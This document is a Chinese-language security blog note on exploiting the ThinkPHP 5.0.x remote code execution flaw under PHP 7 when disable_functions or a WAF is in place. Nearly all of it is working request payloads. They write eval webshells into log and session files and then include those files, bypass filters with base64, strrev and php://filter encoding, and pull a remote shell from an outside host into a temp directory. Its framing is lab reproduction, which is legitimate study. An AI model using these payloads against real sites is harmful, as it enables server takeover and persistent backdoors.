這篇筆記分類總結了在 php7 並且有 disable_funtion 或waf 的環境下如何利用 thinkphp5.0.x 的 rce。第六節只歸納出打印 phpinfo 或執行 calc 的 payload,詳細寫 shell 的 payload 根據不同的過濾強度記錄在 3.1、3.2、3.3、4.1、4.2 小節的復現過程中。筆記參考了很多師傅的博客,只是自己理順思路、復現漏洞的記錄,所有參考文章已貼在最后。(這篇隨筆就是上篇搭環境提到的學長的任務)
一、實驗環境
- PHP 7.3.4
- Windows 10
-
下載地址:
-
下載地址:
跟進 start.php,包含了一個 base.php 加載基礎文件,然后調用 App::run()->send() 來執行應用
跟進 base.php,先是定義了一些 thinkphp 中用到的常量,然后載入 Loader 類、加載環境變量配置文件、注冊自動加載、注冊錯誤和異常處理機制、加載慣例配置文件
跟進注冊自動加載的 register 函數
三、包含日志getshell
3.1本地復現(5.0.5)
thinkphp5.0.5 環境下復現,打印 phpinfo
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
寫 shell 到日志文件中
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>
包含日志文件 getshell
/index.php?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();
但是由於一句話和日志混在一起的,日志基本很大,還可能寫入令 php 解析錯誤的垃圾數據,所以通過一句話 copy 新一句話文件
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");
但是如果有嚴格的安全限制,比如不能含有 eval 等、日志文件很快被覆蓋、網站目錄被設置防篡改無法寫入文件,這時的思路是,把一個遠程 shell 寫入可寫目錄,再去包含真正的 shell,即可繞過。首先在遠程開一個 httpserver,加一層 url 編碼防止被攔截,把 shell 寫入 C:\Windows\Temp 目錄
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));
查看一下木馬,確定成功寫入,因為直接 var_dump(scandir('C:\Windows\Temp')) 可能會被攔截,所以借助中間變量繞過
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));
然后再次包含 C:\Windows\Temp\ant
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:\Windows\Temp\ant&ant=phpinfo();
如果 thinkphp5.0.5 版本不是完整版,沒有 captcha 路由,post 地址為 /index.php/index 也可以包含日志 getshell
/index.php/index _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
在 application/config.php
打印 phpinfo(這里的 phpinfo 信息不完整)
/index.php/index _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111
讀取日志
/index.php/index _method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log
寫 shell 到日志文件中
/index.php/index _method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>
包含日志文件 getshell
/index.php/index _method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();
/index.php?s=captcha _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get
四、包含session文件getshell
4.1本地復現(簡單模式)
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
寫 shell 到 session 中
/index.php?s=captcha Cookie: PHPSESSID=505test _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1
包含 session 文件 getshell
/index.php?s=captcha _method=__construct&method=get&filter[]=think\__include_file&get[]=D:\Major\phpstudy_pro\Extensions\tmp\tmp\sess_505test&server[]=1&cmd=passthru('ipconfig');
php標記: <?php <?= <? php函數: base64_decode file_get_contents convert_uuencode 關鍵字: php://
繞過 php 標記的思路為,對將要寫入 session 文件的一句話木馬編碼
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ <?php @eval($_GET['r']);;?>
因為最終的利用是通過 inlcude 方法進行包含,所以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式進行解碼,但是 session 里面會包含其他字符,談一談php://filter的妙用 文章有談到如何構造合適的字符,使得 webshell 能夠正確被 base64 解碼。所以設置 session 為
POST /?s=captcha _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
(注意:
- 這里的 + 號需要用 urlencode 編碼為 %2b,不然會在寫入 session 的時候被 urldecode 為空格,導致編碼解碼失敗
- 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解碼后為 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解碼后為 <?php @eval($_GET['r']);?> 的原因是直接使用前者無論怎么拼湊字符,都沒法正常解碼
- payload 前后有兩個 ab 是為了讓 shell payload 的前后兩串字符串滿足 base64 解碼的長度,使其能正常解碼
)
繞過 php:// 關鍵字需要審計源碼的 Request.php 的 filterValue 方法是如何執行代碼的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打斷點,post 如下數據發現 filter 是可以傳遞多個的,同時參數為引用傳遞
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
所以可以傳遞多個 filter 來對 value 進行多次傳遞處理,如先 base64_decode 后再將解碼后的值傳遞給 include 進行包含,又因為 waf 對 base64_decode 這個函數進行了過濾的,可以多傳遞一個參數使用 strrev 反轉函數繞過
<?php @eval(base64_decode($_GET['r']));;?> base64: PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+ urlencode編碼: PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b
最終用 php://filter、base64 兩次編碼和 strrev() 反轉函數繞過,寫 shell 到 session 中
/index.php/?s=captcha Cookie: PHPSESSID=505test2 _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
包含 session 文件 getshell
/index.php/?s=captcha&r=cGhwaW5mbygpOw== _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
/index.php?s=captcha /index.php/index(無captcha路由) _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
5.0.12<thinkphp<5.0.24 並開啟 debug 時 payload 如下
?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
5.0.12<thinkphp<5.0.24 有 captcha 路由,無需開啟 debug 時 payload 如下
?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
參考文章
https://blog.csdn.net/qq_41891666/article/details/109505570
https://www.mrwu.red/web/3348.html
https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html
https://forum.90sec.com/t/topic/704
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.cnblogs.com/timelesszhuang/p/3682767.html
https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/